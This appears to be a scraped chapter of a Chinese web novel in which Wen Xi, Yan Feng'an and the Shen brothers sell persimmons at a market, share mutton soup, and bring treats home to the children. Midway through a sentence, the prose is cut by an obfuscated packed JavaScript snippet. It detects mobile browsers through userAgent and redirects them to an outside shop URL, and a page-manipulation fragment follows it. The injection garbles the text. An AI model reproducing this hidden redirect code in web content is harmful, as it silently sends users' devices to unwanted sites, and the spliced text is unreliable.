等严逢安走到跟前,闻溪双眼亮晶晶地看着他道:“东西买好了?” 严逢安点头:“柿子卖得如何?” 闻溪道:“六文钱的卖得差不多了,其余的还剩了些。” 严逢安往四周看了看,这会儿人流量依旧大,耐心等待不愁柿子卖不出去。 到了巳时末,集市上采买的人已经寥寥无几,除了几个带疤的柿子没人要,其余的都卖光了,这下他们也可以离开了。 为了赶早集几个人都没吃饭,沈云肚子早饿得“咕咕”叫了,将摊位收拾干净后,他便急吼吼的拉住闻溪的手:“走走走,我请你们喝羊肉汤去。” 羊肉汤和葱花的香味搅在一起,隔着半条街都差点把人勾去,沈云馋得要死,赚了钱岂有不喝的道理。 到了摊子他便阔气的从搭膊里抓了把铜钱放在桌上:“伙计,给我们来四碗羊肉汤和两笼羊肉馒头。” “羊肉馒头二十文一笼,羊肉汤一碗十二文,加起来一共八十八文,客官您还需要点别的吗?” 饿了一早晨了,沈云怕羊肉包子不够吃,又道:“再给我们一人来个炊饼吧。” “好嘞,正好一百文。” 听到他们几个人一顿饭要花一百文,闻溪惊呆了,在沈云付钱时拉住他的手道:“羊肉汤我跟逢安分着喝就行,你少要一碗。” “咱们又不差钱,做什么分着喝,少了谁的我也不可能少你的。”沈云知他心中所想,拍了拍自己腰间的搭膊道:“来之前我哥就说了,这回卖柿子得的钱不用充公全都给我拿着,我想怎么使就怎么使。你别怕贵,一碗羊肉汤而已,咱们怎么都吃得起。” 那搭膊里装着沈云今日赚的铜板,伸手一拍,里头的铜板就哗啦啦的响,听着就十分诱人。 “柿子卖了快三百文呢,你放心大胆的吃。” 他这样兴致勃勃,闻溪也不好扫兴,可这一百文就像跟刺似的卡在他的心口,等店小二走了他道:“柿子一年到头只能卖一回,该省还是要省着些。” 沈良说:“我们家也不靠卖柿子为生,这钱本就是拿来给他买零嘴使的,让你们夫妻俩跟着跑一趟就够受累的,若是连个餐食都不请你们吃,我沈良也算是白混了。” 一百文确实不少,可一年到头就奢侈这样一回,沈良还是能接受的。 闻溪心头被这价钱吓得七上八下的,忐忑不安地看了严逢安一眼,男人在桌底下握住了他发凉的手,安抚道:“盛情难却,既然沈兄都这么说了,咱们就别跟他们客气了。” 这话说完他又跟闻溪靠近了些,小声道:“朋友之间若是分得太清,那便是见外了,他日你挣了钱请回来就是。” 闻溪点了点头,在心中记下了这笔账。 羊肉汤一直在锅里熬着,没一会功夫就端了上来,白白的汤面上撒了把碧绿的葱花,葱花底下还放着几片极薄的羊肉。 闻溪拿着筷子,将汤面上的葱花拨开,夹起两片羊肉正打算往严逢安碗里放时,却不想男人也跟他做了同样的动作。 沈云一个未出嫁的哥儿不好说什么打趣的话,只对着闻溪挤了挤眼,掩唇笑了笑。 严逢安也不矫情,把自己的肉放到闻溪碗里后,又端起碗接下了闻溪筷子上的肉。 虽然他俩这一番操作有多此一举的嫌疑,两人心里倒都是喜滋滋的。 羊肉本身有些膻味,但老板处理得好,羊肉汤除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536449|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了有些烫之外,便只剩下了鲜。 羊肉馒头也是皮薄肉多,吃进嘴里满口都是肉香,闻溪从来没品尝过这样的美味,心里也不再对价格耿耿于怀,吃完炊饼喝完最后一口羊肉汤后,他满足地眯了眯眼。 羊肉馒头的味道实在不错,临走前,沈云还给自己留在家中的母亲也买了几个。 闻溪心头微动,犹豫地扯了扯严逢安的衣袖,他什么都没说,严逢安却从他的欲言又止中读懂了他的意思:“你想让娘她们也尝一尝这羊肉馒头的味道?” 闻溪问他:“可以吗?” 严逢安道:“当然可以。” 难得进一回城,是该给家里人带点好吃的回去,枉他还为人子为人弟,心思竟不如闻溪这个当夫郎的细致,真是惭愧。 一笼馒头有八个,除了他和闻溪,家里人正好一人能分到一个。 严逢安付了钱,接过装着馒头的油纸对闻溪道:“咱们再去别处逛逛,看看还有什么需要买的。” “不逛了,咱们早些回家去吧。” 城里不比乡下,就算是一根野菜也得花钱买,就连那空气也好像要稀薄一些,闻溪心头像被秤砣压着似的喘不过气,不愿继续闲逛了。 沈云道:“别急啊,我还没请你吃糖葫芦呢。” 闻溪还没说什么,他又道:“糖葫芦一串只要几文钱,不贵的。” 多的钱都花了,闻溪不想为这几文钱闹得大家都不开心,也就欣然接受了。 严逢安和沈良不爱吃这个,沈云只买了他和闻溪的。 想着家里还有两个孩子,严逢安又掏钱给铁柱和桃儿各买了一串。 想吃的东西都吃到了,四人也不在城里逗留,沿着来时的路步行回了家。 身上的铜板沉甸甸的,沈云觉得太累,就将搭膊给了沈良,让他帮忙拿着,等回家了再还给他。 沈良倒也任劳任怨,什么都依着他。 闻溪看在眼里,心道沈云小小年纪就失去了父亲,实在不幸,好在还有个无比疼爱他的哥哥,为他在这不幸中又增添了几分温暖。 到了村口,严逢安又对兄弟俩的热情款待道了谢,然后各回了各的家。 今日村里私塾里的夫子给学生们放了假,铁柱和桃儿正在院门口玩,见到严逢安和闻溪回来,两人便高兴地喊道:“三叔,小溪叔叔!” 出门前虽没应承过两个孩子什么,但小孩子哪有不盼望大人买零嘴的,铁柱和桃儿还算乖的,不会主动开口要东西,只是眼巴巴的看着人,简直要将严逢安和闻溪的心都融化了。 严逢安将油纸装好的糖葫芦拿出来,高高举着,惹得两个小的眼睛都都看直了。 换成别家的小孩,恐怕早就上来抢了,铁柱和桃儿眼睛直勾勾地盯着那两串红果果,一边擦口水,一边问:“三叔,这是给我们买的吗?” 严逢安笑着摸了摸他俩的头:“家里就你们两个小的,不是给你们买的还能是给谁买的。” 弯下腰把两串糖葫芦分别递给两个小孩:“来,一人一串,不可争食。” “谢谢三叔!” 到底还是孩子,铁柱和桃儿接过糖葫芦便迫不及待的伸出舌头舔了舔,尝到甜味,开心得眼睛都眯成了一条缝。 人小鬼大的铁柱舔着糖葫芦含糊不清道:“三叔,你和小溪叔叔真好,等以后你俩生了小孩,我也给他买糖葫芦吃。” 虽说童言无忌,闻溪却还是被这话闹了个大红脸,他不敢去瞧严逢安的脸色,拿着油纸包匆匆进了院子里。